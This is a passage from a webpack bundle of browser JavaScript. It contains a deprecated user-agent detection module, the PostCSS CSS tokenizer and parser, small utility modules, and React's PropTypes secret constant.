2606 _ipad = /\b(iP[ao]d)/.exec(uas);
2607 _android = /Android/i.exec(uas);
2608 _native = /FBAN\/\w+;/i.exec(uas);
2609 _mobile = /Mobile/i.exec(uas);
2610
2611 // Note that the IE team blog would have you believe you should be checking
2612 // for 'Win64; x64'. But MSDN then reveals that you can actually be coming
2613 // from either x64 or ia64; so ultimately, you should just check for Win64
2614 // as in indicator of whether you're in 64-bit IE. 32-bit IE on 64-bit
2615 // Windows will send 'WOW64' instead.
2616 _win64 = !!(/Win64/.exec(uas));
2617
2618 if (agent) {
2619 _ie = agent[1] ? parseFloat(agent[1]) : (
2620 agent[5] ? parseFloat(agent[5]) : NaN);
2621 // IE compatibility mode
2622 if (_ie && document && document.documentMode) {
2623 _ie = document.documentMode;
2624 }
2625 // grab the "true" ie version from the trident token if available
2626 var trident = /(?:Trident\/(\d+.\d+))/.exec(uas);
2627 _ie_real_version = trident ? parseFloat(trident[1]) + 4 : _ie;
2628
2629 _firefox = agent[2] ? parseFloat(agent[2]) : NaN;
2630 _opera = agent[3] ? parseFloat(agent[3]) : NaN;
2631 _webkit = agent[4] ? parseFloat(agent[4]) : NaN;
2632 if (_webkit) {
2633 // We do not add the regexp to the above test, because it will always
2634 // match 'safari' only since 'AppleWebKit' appears before 'Chrome' in
2635 // the userAgent string.
2636 agent = /(?:Chrome\/(\d+\.\d+))/.exec(uas);
2637 _chrome = agent && agent[1] ? parseFloat(agent[1]) : NaN;
2638 } else {
2639 _chrome = NaN;
2640 }
2641 } else {
2642 _ie = _firefox = _opera = _chrome = _webkit = NaN;
2643 }
2644
2645 if (os) {
2646 if (os[1]) {
2647 // Detect OS X version. If no version number matches, set _osx to true.
2648 // Version examples: 10, 10_6_1, 10.7
2649 // Parses version number as a float, taking only first two sets of
2650 // digits. If only one set of digits is found, returns just the major
2651 // version number.
2652 var ver = /(?:Mac OS X (\d+(?:[._]\d+)?))/.exec(uas);
2653
2654 _osx = ver ? parseFloat(ver[1].replace('_', '.')) : true;
2655 } else {
2656 _osx = false;
2657 }
2658 _windows = !!os[2];
2659 _linux = !!os[3];
2660 } else {
2661 _osx = _windows = _linux = false;
2662 }
2663}
2664
2665var UserAgent_DEPRECATED = {
2666
2667 /**
2668 * Check if the UA is Internet Explorer.
2669 *
2670 *
2671 * @return float|NaN Version number (if match) or NaN.
2672 */
2673 ie: function() {
2674 return _populate() || _ie;
2675 },
2676
2677 /**
2678 * Check if we're in Internet Explorer compatibility mode.
2679 *
2680 * @return bool true if in compatibility mode, false if
2681 * not compatibility mode or not ie
2682 */
2683 ieCompatibilityMode: function() {
2684 return _populate() || (_ie_real_version > _ie);
2685 },
2686
2687
2688 /**
2689 * Whether the browser is 64-bit IE. Really, this is kind of weak sauce; we
2690 * only need this because Skype can't handle 64-bit IE yet. We need to remove
2691 * this when we don't need it -- tracked by #601957.
2692 */
2693 ie64: function() {
2694 return UserAgent_DEPRECATED.ie() && _win64;
2695 },
2696
2697 /**
2698 * Check if the UA is Firefox.
2699 *
2700 *
2701 * @return float|NaN Version number (if match) or NaN.
2702 */
2703 firefox: function() {
2704 return _populate() || _firefox;
2705 },
2706
2707
2708 /**
2709 * Check if the UA is Opera.
2710 *
2711 *
2712 * @return float|NaN Version number (if match) or NaN.
2713 */
2714 opera: function() {
2715 return _populate() || _opera;
2716 },
2717
2718
2719 /**
2720 * Check if the UA is WebKit.
2721 *
2722 *
2723 * @return float|NaN Version number (if match) or NaN.
2724 */
2725 webkit: function() {
2726 return _populate() || _webkit;
2727 },
2728
2729 /**
2730 * For Push
2731 * WILL BE REMOVED VERY SOON. Use UserAgent_DEPRECATED.webkit
2732 */
2733 safari: function() {
2734 return UserAgent_DEPRECATED.webkit();
2735 },
2736
2737 /**
2738 * Check if the UA is a Chrome browser.
2739 *
2740 *
2741 * @return float|NaN Version number (if match) or NaN.
2742 */
2743 chrome : function() {
2744 return _populate() || _chrome;
2745 },
2746
2747
2748 /**
2749 * Check if the user is running Windows.
2750 *
2751 * @return bool `true' if the user's OS is Windows.
2752 */
2753 windows: function() {
2754 return _populate() || _windows;
2755 },
2756
2757
2758 /**
2759 * Check if the user is running Mac OS X.
2760 *
2761 * @return float|bool Returns a float if a version number is detected,
2762 * otherwise true/false.
2763 */
2764 osx: function() {
2765 return _populate() || _osx;
2766 },
2767
2768 /**
2769 * Check if the user is running Linux.
2770 *
2771 * @return bool `true' if the user's OS is some flavor of Linux.
2772 */
2773 linux: function() {
2774 return _populate() || _linux;
2775 },
2776
2777 /**
2778 * Check if the user is running on an iPhone or iPod platform.
2779 *
2780 * @return bool `true' if the user is running some flavor of the
2781 * iPhone OS.
2782 */
2783 iphone: function() {
2784 return _populate() || _iphone;
2785 },
2786
2787 mobile: function() {
2788 return _populate() || (_iphone || _ipad || _android || _mobile);
2789 },
2790
2791 nativeApp: function() {
2792 // webviews inside of the native apps
2793 return _populate() || _native;
2794 },
2795
2796 android: function() {
2797 return _populate() || _android;
2798 },
2799
2800 ipad: function() {
2801 return _populate() || _ipad;
2802 }
2803};
2804
2805module.exports = UserAgent_DEPRECATED;
2806
2807
2808/***/ }),
2809
2810/***/ 2327:
2811/***/ ((module) => {
2812
2813"use strict";
2814
2815
2816const SINGLE_QUOTE = "'".charCodeAt(0)
2817const DOUBLE_QUOTE = '"'.charCodeAt(0)
2818const BACKSLASH = '\\'.charCodeAt(0)
2819const SLASH = '/'.charCodeAt(0)
2820const NEWLINE = '\n'.charCodeAt(0)
2821const SPACE = ' '.charCodeAt(0)
2822const FEED = '\f'.charCodeAt(0)
2823const TAB = '\t'.charCodeAt(0)
2824const CR = '\r'.charCodeAt(0)
2825const OPEN_SQUARE = '['.charCodeAt(0)
2826const CLOSE_SQUARE = ']'.charCodeAt(0)
2827const OPEN_PARENTHESES = '('.charCodeAt(0)
2828const CLOSE_PARENTHESES = ')'.charCodeAt(0)
2829const OPEN_CURLY = '{'.charCodeAt(0)
2830const CLOSE_CURLY = '}'.charCodeAt(0)
2831const SEMICOLON = ';'.charCodeAt(0)
2832const ASTERISK = '*'.charCodeAt(0)
2833const COLON = ':'.charCodeAt(0)
2834const AT = '@'.charCodeAt(0)
2835
2836const RE_AT_END = /[\t\n\f\r "#'()/;[\\\]{}]/g
2837const RE_WORD_END = /[\t\n\f\r !"#'():;@[\\\]{}]|\/(?=\*)/g
2838const RE_BAD_BRACKET = /.[\r\n"'(/\\]/
2839const RE_HEX_ESCAPE = /[\da-f]/i
2840
2841module.exports = function tokenizer(input, options = {}) {
2842 let css = input.css.valueOf()
2843 let ignore = options.ignoreErrors
2844
2845 let code, content, escape, next, quote
2846 let currentToken, escaped, escapePos, n, prev
2847
2848 let length = css.length
2849 let pos = 0
2850 let buffer = []
2851 let returned = []
2852
2853 function position() {
2854 return pos
2855 }
2856
2857 function unclosed(what) {
2858 throw input.error('Unclosed ' + what, pos)
2859 }
2860
2861 function endOfFile() {
2862 return returned.length === 0 && pos >= length
2863 }
2864
2865 function nextToken(opts) {
2866 if (returned.length) return returned.pop()
2867 if (pos >= length) return
2868
2869 let ignoreUnclosed = opts ? opts.ignoreUnclosed : false
2870
2871 code = css.charCodeAt(pos)
2872
2873 switch (code) {
2874 case NEWLINE:
2875 case SPACE:
2876 case TAB:
2877 case CR:
2878 case FEED: {
2879 next = pos
2880 do {
2881 next += 1
2882 code = css.charCodeAt(next)
2883 } while (
2884 code === SPACE ||
2885 code === NEWLINE ||
2886 code === TAB ||
2887 code === CR ||
2888 code === FEED
2889 )
2890
2891 currentToken = ['space', css.slice(pos, next)]
2892 pos = next - 1
2893 break
2894 }
2895
2896 case OPEN_SQUARE:
2897 case CLOSE_SQUARE:
2898 case OPEN_CURLY:
2899 case CLOSE_CURLY:
2900 case COLON:
2901 case SEMICOLON:
2902 case CLOSE_PARENTHESES: {
2903 let controlChar = String.fromCharCode(code)
2904 currentToken = [controlChar, controlChar, pos]
2905 break
2906 }
2907
2908 case OPEN_PARENTHESES: {
2909 prev = buffer.length ? buffer.pop()[1] : ''
2910 n = css.charCodeAt(pos + 1)
2911 if (
2912 prev === 'url' &&
2913 n !== SINGLE_QUOTE &&
2914 n !== DOUBLE_QUOTE &&
2915 n !== SPACE &&
2916 n !== NEWLINE &&
2917 n !== TAB &&
2918 n !== FEED &&
2919 n !== CR
2920 ) {
2921 next = pos
2922 do {
2923 escaped = false
2924 next = css.indexOf(')', next + 1)
2925 if (next === -1) {
2926 if (ignore || ignoreUnclosed) {
2927 next = pos
2928 break
2929 } else {
2930 unclosed('bracket')
2931 }
2932 }
2933 escapePos = next
2934 while (css.charCodeAt(escapePos - 1) === BACKSLASH) {
2935 escapePos -= 1
2936 escaped = !escaped
2937 }
2938 } while (escaped)
2939
2940 currentToken = ['brackets', css.slice(pos, next + 1), pos, next]
2941
2942 pos = next
2943 } else {
2944 next = css.indexOf(')', pos + 1)
2945 content = css.slice(pos, next + 1)
2946
2947 if (next === -1 || RE_BAD_BRACKET.test(content)) {
2948 currentToken = ['(', '(', pos]
2949 } else {
2950 currentToken = ['brackets', content, pos, next]
2951 pos = next
2952 }
2953 }
2954
2955 break
2956 }
2957
2958 case SINGLE_QUOTE:
2959 case DOUBLE_QUOTE: {
2960 quote = code === SINGLE_QUOTE ? "'" : '"'
2961 next = pos
2962 do {
2963 escaped = false
2964 next = css.indexOf(quote, next + 1)
2965 if (next === -1) {
2966 if (ignore || ignoreUnclosed) {
2967 next = pos + 1
2968 break
2969 } else {
2970 unclosed('string')
2971 }
2972 }
2973 escapePos = next
2974 while (css.charCodeAt(escapePos - 1) === BACKSLASH) {
2975 escapePos -= 1
2976 escaped = !escaped
2977 }
2978 } while (escaped)
2979
2980 currentToken = ['string', css.slice(pos, next + 1), pos, next]
2981 pos = next
2982 break
2983 }
2984
2985 case AT: {
2986 RE_AT_END.lastIndex = pos + 1
2987 RE_AT_END.test(css)
2988 if (RE_AT_END.lastIndex === 0) {
2989 next = css.length - 1
2990 } else {
2991 next = RE_AT_END.lastIndex - 2
2992 }
2993
2994 currentToken = ['at-word', css.slice(pos, next + 1), pos, next]
2995
2996 pos = next
2997 break
2998 }
2999
3000 case BACKSLASH: {
3001 next = pos
3002 escape = true
3003 while (css.charCodeAt(next + 1) === BACKSLASH) {
3004 next += 1
3005 escape = !escape
3006 }
3007 code = css.charCodeAt(next + 1)
3008 if (
3009 escape &&
3010 code !== SLASH &&
3011 code !== SPACE &&
3012 code !== NEWLINE &&
3013 code !== TAB &&
3014 code !== CR &&
3015 code !== FEED
3016 ) {
3017 next += 1
3018 if (RE_HEX_ESCAPE.test(css.charAt(next))) {
3019 while (RE_HEX_ESCAPE.test(css.charAt(next + 1))) {
3020 next += 1
3021 }
3022 if (css.charCodeAt(next + 1) === SPACE) {
3023 next += 1
3024 }
3025 }
3026 }
3027
3028 currentToken = ['word', css.slice(pos, next + 1), pos, next]
3029
3030 pos = next
3031 break
3032 }
3033
3034 default: {
3035 if (code === SLASH && css.charCodeAt(pos + 1) === ASTERISK) {
3036 next = css.indexOf('*/', pos + 2) + 1
3037 if (next === 0) {
3038 if (ignore || ignoreUnclosed) {
3039 next = css.length
3040 } else {
3041 unclosed('comment')
3042 }
3043 }
3044
3045 currentToken = ['comment', css.slice(pos, next + 1), pos, next]
3046 pos = next
3047 } else {
3048 RE_WORD_END.lastIndex = pos + 1
3049 RE_WORD_END.test(css)
3050 if (RE_WORD_END.lastIndex === 0) {
3051 next = css.length - 1
3052 } else {
3053 next = RE_WORD_END.lastIndex - 2
3054 }
3055
3056 currentToken = ['word', css.slice(pos, next + 1), pos, next]
3057 buffer.push(currentToken)
3058 pos = next
3059 }
3060
3061 break
3062 }
3063 }
3064
3065 pos++
3066 return currentToken
3067 }
3068
3069 function back(token) {
3070 returned.push(token)
3071 }
3072
3073 return {
3074 back,
3075 endOfFile,
3076 nextToken,
3077 position
3078 }
3079}
3080
3081
3082/***/ }),
3083
3084/***/ 2739:
3085/***/ (() => {
3086
3087/* (ignored) */
3088
3089/***/ }),
3090
3091/***/ 2775:
3092/***/ ((module) => {
3093
3094var x=String;
3095var create=function() {return {isColorSupported:false,reset:x,bold:x,dim:x,italic:x,underline:x,inverse:x,hidden:x,strikethrough:x,black:x,red:x,green:x,yellow:x,blue:x,magenta:x,cyan:x,white:x,gray:x,bgBlack:x,bgRed:x,bgGreen:x,bgYellow:x,bgBlue:x,bgMagenta:x,bgCyan:x,bgWhite:x,blackBright:x,redBright:x,greenBright:x,yellowBright:x,blueBright:x,magentaBright:x,cyanBright:x,whiteBright:x,bgBlackBright:x,bgRedBright:x,bgGreenBright:x,bgYellowBright:x,bgBlueBright:x,bgMagentaBright:x,bgCyanBright:x,bgWhiteBright:x}};
3096module.exports=create();
3097module.exports.createColors = create;
3098
3099
3100/***/ }),
3101
3102/***/ 3122:
3103/***/ ((module) => {
3104
3105"use strict";
3106/* eslint-disable no-console */
3107
3108
3109let printed = {}
3110
3111module.exports = function warnOnce(message) {
3112 if (printed[message]) return
3113 printed[message] = true
3114
3115 if (typeof console !== 'undefined' && console.warn) {
3116 console.warn(message)
3117 }
3118}
3119
3120
3121/***/ }),
3122
3123/***/ 3815:
3124/***/ ((module) => {
3125
3126module.exports = function walk(nodes, cb, bubble) {
3127 var i, max, node, result;
3128
3129 for (i = 0, max = nodes.length; i < max; i += 1) {
3130 node = nodes[i];
3131 if (!bubble) {
3132 result = cb(node, i, nodes);
3133 }
3134
3135 if (
3136 result !== false &&
3137 node.type === "function" &&
3138 Array.isArray(node.nodes)
3139 ) {
3140 walk(node.nodes, cb, bubble);
3141 }
3142
3143 if (bubble) {
3144 cb(node, i, nodes);
3145 }
3146 }
3147};
3148
3149
3150/***/ }),
3151
3152/***/ 3937:
3153/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
3154
3155"use strict";
3156
3157
3158let AtRule = __webpack_require__(1326)
3159let Comment = __webpack_require__(6589)
3160let Declaration = __webpack_require__(1516)
3161let Root = __webpack_require__(9434)
3162let Rule = __webpack_require__(4092)
3163let tokenizer = __webpack_require__(2327)
3164
3165const SAFE_COMMENT_NEIGHBOR = {
3166 empty: true,
3167 space: true
3168}
3169
3170function findLastWithPosition(tokens) {
3171 for (let i = tokens.length - 1; i >= 0; i--) {
3172 let token = tokens[i]
3173 let pos = token[3] || token[2]
3174 if (pos) return pos
3175 }
3176}
3177
3178class Parser {
3179 constructor(input) {
3180 this.input = input
3181
3182 this.root = new Root()
3183 this.current = this.root
3184 this.spaces = ''
3185 this.semicolon = false
3186
3187 this.createTokenizer()
3188 this.root.source = { input, start: { column: 1, line: 1, offset: 0 } }
3189 }
3190
3191 atrule(token) {
3192 let node = new AtRule()
3193 node.name = token[1].slice(1)
3194 if (node.name === '') {
3195 this.unnamedAtrule(node, token)
3196 }
3197 this.init(node, token[2])
3198
3199 let type
3200 let prev
3201 let shift
3202 let last = false
3203 let open = false
3204 let params = []
3205 let brackets = []
3206
3207 while (!this.tokenizer.endOfFile()) {
3208 token = this.tokenizer.nextToken()
3209 type = token[0]
3210
3211 if (type === '(' || type === '[') {
3212 brackets.push(type === '(' ? ')' : ']')
3213 } else if (type === '{' && brackets.length > 0) {
3214 brackets.push('}')
3215 } else if (type === brackets[brackets.length - 1]) {
3216 brackets.pop()
3217 }
3218
3219 if (brackets.length === 0) {
3220 if (type === ';') {
3221 node.source.end = this.getPosition(token[2])
3222 node.source.end.offset++
3223 this.semicolon = true
3224 break
3225 } else if (type === '{') {
3226 open = true
3227 break
3228 } else if (type === '}') {
3229 if (params.length > 0) {
3230 shift = params.length - 1
3231 prev = params[shift]
3232 while (prev && prev[0] === 'space') {
3233 prev = params[--shift]
3234 }
3235 if (prev) {
3236 node.source.end = this.getPosition(prev[3] || prev[2])
3237 node.source.end.offset++
3238 }
3239 }
3240 this.end(token)
3241 break
3242 } else {
3243 params.push(token)
3244 }
3245 } else {
3246 params.push(token)
3247 }
3248
3249 if (this.tokenizer.endOfFile()) {
3250 last = true
3251 break
3252 }
3253 }
3254
3255 node.raws.between = this.spacesAndCommentsFromEnd(params)
3256 if (params.length) {
3257 node.raws.afterName = this.spacesAndCommentsFromStart(params)
3258 this.raw(node, 'params', params)
3259 if (last) {
3260 token = params[params.length - 1]
3261 node.source.end = this.getPosition(token[3] || token[2])
3262 node.source.end.offset++
3263 this.spaces = node.raws.between
3264 node.raws.between = ''
3265 }
3266 } else {
3267 node.raws.afterName = ''
3268 node.params = ''
3269 }
3270
3271 if (open) {
3272 node.nodes = []
3273 this.current = node
3274 }
3275 }
3276
3277 checkMissedSemicolon(tokens) {
3278 let colon = this.colon(tokens)
3279 if (colon === false) return
3280
3281 let founded = 0
3282 let token
3283 for (let j = colon - 1; j >= 0; j--) {
3284 token = tokens[j]
3285 if (token[0] !== 'space') {
3286 founded += 1
3287 if (founded === 2) break
3288 }
3289 }
3290 // If the token is a word, e.g. `!important`, `red` or any other valid property's value.
3291 // Then we need to return the colon after that word token. [3] is the "end" colon of that word.
3292 // And because we need it after that one we do +1 to get the next one.
3293 throw this.input.error(
3294 'Missed semicolon',
3295 token[0] === 'word' ? token[3] + 1 : token[2]
3296 )
3297 }
3298
3299 colon(tokens) {
3300 let brackets = 0
3301 let prev, token, type
3302 for (let [i, element] of tokens.entries()) {
3303 token = element
3304 type = token[0]
3305
3306 if (type === '(') {
3307 brackets += 1
3308 }
3309 if (type === ')') {
3310 brackets -= 1
3311 }
3312 if (brackets === 0 && type === ':') {
3313 if (!prev) {
3314 this.doubleColon(token)
3315 } else if (prev[0] === 'word' && prev[1] === 'progid') {
3316 continue
3317 } else {
3318 return i
3319 }
3320 }
3321
3322 prev = token
3323 }
3324 return false
3325 }
3326
3327 comment(token) {
3328 let node = new Comment()
3329 this.init(node, token[2])
3330 node.source.end = this.getPosition(token[3] || token[2])
3331 node.source.end.offset++
3332
3333 let text = token[1].slice(2, -2)
3334 if (/^\s*$/.test(text)) {
3335 node.text = ''
3336 node.raws.left = text
3337 node.raws.right = ''
3338 } else {
3339 let match = text.match(/^(\s*)([^]*\S)(\s*)$/)
3340 node.text = match[2]
3341 node.raws.left = match[1]
3342 node.raws.right = match[3]
3343 }
3344 }
3345
3346 createTokenizer() {
3347 this.tokenizer = tokenizer(this.input)
3348 }
3349
3350 decl(tokens, customProperty) {
3351 let node = new Declaration()
3352 this.init(node, tokens[0][2])
3353
3354 let last = tokens[tokens.length - 1]
3355 if (last[0] === ';') {
3356 this.semicolon = true
3357 tokens.pop()
3358 }
3359
3360 node.source.end = this.getPosition(
3361 last[3] || last[2] || findLastWithPosition(tokens)
3362 )
3363 node.source.end.offset++
3364
3365 while (tokens[0][0] !== 'word') {
3366 if (tokens.length === 1) this.unknownWord(tokens)
3367 node.raws.before += tokens.shift()[1]
3368 }
3369 node.source.start = this.getPosition(tokens[0][2])
3370
3371 node.prop = ''
3372 while (tokens.length) {
3373 let type = tokens[0][0]
3374 if (type === ':' || type === 'space' || type === 'comment') {
3375 break
3376 }
3377 node.prop += tokens.shift()[1]
3378 }
3379
3380 node.raws.between = ''
3381
3382 let token
3383 while (tokens.length) {
3384 token = tokens.shift()
3385
3386 if (token[0] === ':') {
3387 node.raws.between += token[1]
3388 break
3389 } else {
3390 if (token[0] === 'word' && /\w/.test(token[1])) {
3391 this.unknownWord([token])
3392 }
3393 node.raws.between += token[1]
3394 }
3395 }
3396
3397 if (node.prop[0] === '_' || node.prop[0] === '*') {
3398 node.raws.before += node.prop[0]
3399 node.prop = node.prop.slice(1)
3400 }
3401
3402 let firstSpaces = []
3403 let next
3404 while (tokens.length) {
3405 next = tokens[0][0]
3406 if (next !== 'space' && next !== 'comment') break
3407 firstSpaces.push(tokens.shift())
3408 }
3409
3410 this.precheckMissedSemicolon(tokens)
3411
3412 for (let i = tokens.length - 1; i >= 0; i--) {
3413 token = tokens[i]
3414 if (token[1].toLowerCase() === '!important') {
3415 node.important = true
3416 let string = this.stringFrom(tokens, i)
3417 string = this.spacesFromEnd(tokens) + string
3418 if (string !== ' !important') node.raws.important = string
3419 break
3420 } else if (token[1].toLowerCase() === 'important') {
3421 let cache = tokens.slice(0)
3422 let str = ''
3423 for (let j = i; j > 0; j--) {
3424 let type = cache[j][0]
3425 if (str.trim().startsWith('!') && type !== 'space') {
3426 break
3427 }
3428 str = cache.pop()[1] + str
3429 }
3430 if (str.trim().startsWith('!')) {
3431 node.important = true
3432 node.raws.important = str
3433 tokens = cache
3434 }
3435 }
3436
3437 if (token[0] !== 'space' && token[0] !== 'comment') {
3438 break
3439 }
3440 }
3441
3442 let hasWord = tokens.some(i => i[0] !== 'space' && i[0] !== 'comment')
3443
3444 if (hasWord) {
3445 node.raws.between += firstSpaces.map(i => i[1]).join('')
3446 firstSpaces = []
3447 }
3448 this.raw(node, 'value', firstSpaces.concat(tokens), customProperty)
3449
3450 if (node.value.includes(':') && !customProperty) {
3451 this.checkMissedSemicolon(tokens)
3452 }
3453 }
3454
3455 doubleColon(token) {
3456 throw this.input.error(
3457 'Double colon',
3458 { offset: token[2] },
3459 { offset: token[2] + token[1].length }
3460 )
3461 }
3462
3463 emptyRule(token) {
3464 let node = new Rule()
3465 this.init(node, token[2])
3466 node.selector = ''
3467 node.raws.between = ''
3468 this.current = node
3469 }
3470
3471 end(token) {
3472 if (this.current.nodes && this.current.nodes.length) {
3473 this.current.raws.semicolon = this.semicolon
3474 }
3475 this.semicolon = false
3476
3477 this.current.raws.after = (this.current.raws.after || '') + this.spaces
3478 this.spaces = ''
3479
3480 if (this.current.parent) {
3481 this.current.source.end = this.getPosition(token[2])
3482 this.current.source.end.offset++
3483 this.current = this.current.parent
3484 } else {
3485 this.unexpectedClose(token)
3486 }
3487 }
3488
3489 endFile() {
3490 if (this.current.parent) this.unclosedBlock()
3491 if (this.current.nodes && this.current.nodes.length) {
3492 this.current.raws.semicolon = this.semicolon
3493 }
3494 this.current.raws.after = (this.current.raws.after || '') + this.spaces
3495 this.root.source.end = this.getPosition(this.tokenizer.position())
3496 }
3497
3498 freeSemicolon(token) {
3499 this.spaces += token[1]
3500 if (this.current.nodes) {
3501 let prev = this.current.nodes[this.current.nodes.length - 1]
3502 if (prev && prev.type === 'rule' && !prev.raws.ownSemicolon) {
3503 prev.raws.ownSemicolon = this.spaces
3504 this.spaces = ''
3505 prev.source.end = this.getPosition(token[2])
3506 prev.source.end.offset += prev.raws.ownSemicolon.length
3507 }
3508 }
3509 }
3510
3511 // Helpers
3512
3513 getPosition(offset) {
3514 let pos = this.input.fromOffset(offset)
3515 return {
3516 column: pos.col,
3517 line: pos.line,
3518 offset
3519 }
3520 }
3521
3522 init(node, offset) {
3523 this.current.push(node)
3524 node.source = {
3525 input: this.input,
3526 start: this.getPosition(offset)
3527 }
3528 node.raws.before = this.spaces
3529 this.spaces = ''
3530 if (node.type !== 'comment') this.semicolon = false
3531 }
3532
3533 other(start) {
3534 let end = false
3535 let type = null
3536 let colon = false
3537 let bracket = null
3538 let brackets = []
3539 let customProperty = start[1].startsWith('--')
3540
3541 let tokens = []
3542 let token = start
3543 while (token) {
3544 type = token[0]
3545 tokens.push(token)
3546
3547 if (type === '(' || type === '[') {
3548 if (!bracket) bracket = token
3549 brackets.push(type === '(' ? ')' : ']')
3550 } else if (customProperty && colon && type === '{') {
3551 if (!bracket) bracket = token
3552 brackets.push('}')
3553 } else if (brackets.length === 0) {
3554 if (type === ';') {
3555 if (colon) {
3556 this.decl(tokens, customProperty)
3557 return
3558 } else {
3559 break
3560 }
3561 } else if (type === '{') {
3562 this.rule(tokens)
3563 return
3564 } else if (type === '}') {
3565 this.tokenizer.back(tokens.pop())
3566 end = true
3567 break
3568 } else if (type === ':') {
3569 colon = true
3570 }
3571 } else if (type === brackets[brackets.length - 1]) {
3572 brackets.pop()
3573 if (brackets.length === 0) bracket = null
3574 }
3575
3576 token = this.tokenizer.nextToken()
3577 }
3578
3579 if (this.tokenizer.endOfFile()) end = true
3580 if (brackets.length > 0) this.unclosedBracket(bracket)
3581
3582 if (end && colon) {
3583 if (!customProperty) {
3584 while (tokens.length) {
3585 token = tokens[tokens.length - 1][0]
3586 if (token !== 'space' && token !== 'comment') break
3587 this.tokenizer.back(tokens.pop())
3588 }
3589 }
3590 this.decl(tokens, customProperty)
3591 } else {
3592 this.unknownWord(tokens)
3593 }
3594 }
3595
3596 parse() {
3597 let token
3598 while (!this.tokenizer.endOfFile()) {
3599 token = this.tokenizer.nextToken()
3600
3601 switch (token[0]) {
3602 case 'space':
3603 this.spaces += token[1]
3604 break
3605
3606 case ';':
3607 this.freeSemicolon(token)
3608 break
3609
3610 case '}':
3611 this.end(token)
3612 break
3613
3614 case 'comment':
3615 this.comment(token)
3616 break
3617
3618 case 'at-word':
3619 this.atrule(token)
3620 break
3621
3622 case '{':
3623 this.emptyRule(token)
3624 break
3625
3626 default:
3627 this.other(token)
3628 break
3629 }
3630 }
3631 this.endFile()
3632 }
3633
3634 precheckMissedSemicolon(/* tokens */) {
3635 // Hook for Safe Parser
3636 }
3637
3638 raw(node, prop, tokens, customProperty) {
3639 let token, type
3640 let length = tokens.length
3641 let value = ''
3642 let clean = true
3643 let next, prev
3644
3645 for (let i = 0; i < length; i += 1) {
3646 token = tokens[i]
3647 type = token[0]
3648 if (type === 'space' && i === length - 1 && !customProperty) {
3649 clean = false
3650 } else if (type === 'comment') {
3651 prev = tokens[i - 1] ? tokens[i - 1][0] : 'empty'
3652 next = tokens[i + 1] ? tokens[i + 1][0] : 'empty'
3653 if (!SAFE_COMMENT_NEIGHBOR[prev] && !SAFE_COMMENT_NEIGHBOR[next]) {
3654 if (value.slice(-1) === ',') {
3655 clean = false
3656 } else {
3657 value += token[1]
3658 }
3659 } else {
3660 clean = false
3661 }
3662 } else {
3663 value += token[1]
3664 }
3665 }
3666 if (!clean) {
3667 let raw = tokens.reduce((all, i) => all + i[1], '')
3668 node.raws[prop] = { raw, value }
3669 }
3670 node[prop] = value
3671 }
3672
3673 rule(tokens) {
3674 tokens.pop()
3675
3676 let node = new Rule()
3677 this.init(node, tokens[0][2])
3678
3679 node.raws.between = this.spacesAndCommentsFromEnd(tokens)
3680 this.raw(node, 'selector', tokens)
3681 this.current = node
3682 }
3683
3684 spacesAndCommentsFromEnd(tokens) {
3685 let lastTokenType
3686 let spaces = ''
3687 while (tokens.length) {
3688 lastTokenType = tokens[tokens.length - 1][0]
3689 if (lastTokenType !== 'space' && lastTokenType !== 'comment') break
3690 spaces = tokens.pop()[1] + spaces
3691 }
3692 return spaces
3693 }
3694
3695 // Errors
3696
3697 spacesAndCommentsFromStart(tokens) {
3698 let next
3699 let spaces = ''
3700 while (tokens.length) {
3701 next = tokens[0][0]
3702 if (next !== 'space' && next !== 'comment') break
3703 spaces += tokens.shift()[1]
3704 }
3705 return spaces
3706 }
3707
3708 spacesFromEnd(tokens) {
3709 let lastTokenType
3710 let spaces = ''
3711 while (tokens.length) {
3712 lastTokenType = tokens[tokens.length - 1][0]
3713 if (lastTokenType !== 'space') break
3714 spaces = tokens.pop()[1] + spaces
3715 }
3716 return spaces
3717 }
3718
3719 stringFrom(tokens, from) {
3720 let result = ''
3721 for (let i = from; i < tokens.length; i++) {
3722 result += tokens[i][1]
3723 }
3724 tokens.splice(from, tokens.length - from)
3725 return result
3726 }
3727
3728 unclosedBlock() {
3729 let pos = this.current.source.start
3730 throw this.input.error('Unclosed block', pos.line, pos.column)
3731 }
3732
3733 unclosedBracket(bracket) {
3734 throw this.input.error(
3735 'Unclosed bracket',
3736 { offset: bracket[2] },
3737 { offset: bracket[2] + 1 }
3738 )
3739 }
3740
3741 unexpectedClose(token) {
3742 throw this.input.error(
3743 'Unexpected }',
3744 { offset: token[2] },
3745 { offset: token[2] + 1 }
3746 )
3747 }
3748
3749 unknownWord(tokens) {
3750 throw this.input.error(
3751 'Unknown word ' + tokens[0][1],
3752 { offset: tokens[0][2] },
3753 { offset: tokens[0][2] + tokens[0][1].length }
3754 )
3755 }
3756
3757 unnamedAtrule(node, token) {
3758 throw this.input.error(
3759 'At-rule without name',
3760 { offset: token[2] },
3761 { offset: token[2] + token[1].length }
3762 )
3763 }
3764}
3765
3766module.exports = Parser
3767
3768
3769/***/ }),
3770
3771/***/ 4067:
3772/***/ ((module) => {
3773
3774"use strict";
3775/**
3776 * Copyright (c) 2013-present, Facebook, Inc.
3777 *
3778 * This source code is licensed under the MIT license found in the
3779 * LICENSE file in the root directory of this source tree.
3780 */
3781
3782
3783
3784var ReactPropTypesSecret = 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED';
3785
3786module.exports = ReactPropTypesSecret;
3787
3788
3789/***/ }),
3790
3791/***/ 4092:
3792/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
3793
3794"use strict";
3795
3796
3797let Container = __webpack_require__(683)
3798let list = __webpack_require__(7374)
3799
3800class Rule extends Container {
3801 get selectors() {
3802 return list.comma(this.selector)
3803 }
3804
3805 set selectors(values) {
3806 let match = this.selector ? this.selector.match(/,\s*/) : null
3807 let sep = match ? match[0] : ',' + this.raw('between', 'beforeOpen')
3808 this.selector = values.join(sep)
3809 }
3810
3811 constructor(defaults) {
3812 super(defaults)
3813 this.type = 'rule'
3814 if (!this.nodes) this.nodes = []
3815 }
3816}
3817
3818module.exports = Rule
3819Rule.default = Rule
3820
3821Container.registerRule(Rule)
3822
3823
3824/***/ }),
3825
3826/***/ 4132:
3827/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
3828
3829"use strict";
3830var __webpack_unused_export__;
3831
3832__webpack_unused_export__ = true;
3833var TextareaAutosize_1 = __webpack_require__(4462);
3834exports.A = TextareaAutosize_1.TextareaAutosize;
3835
3836
3837/***/ }),
3838
3839/***/ 4295:
3840/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
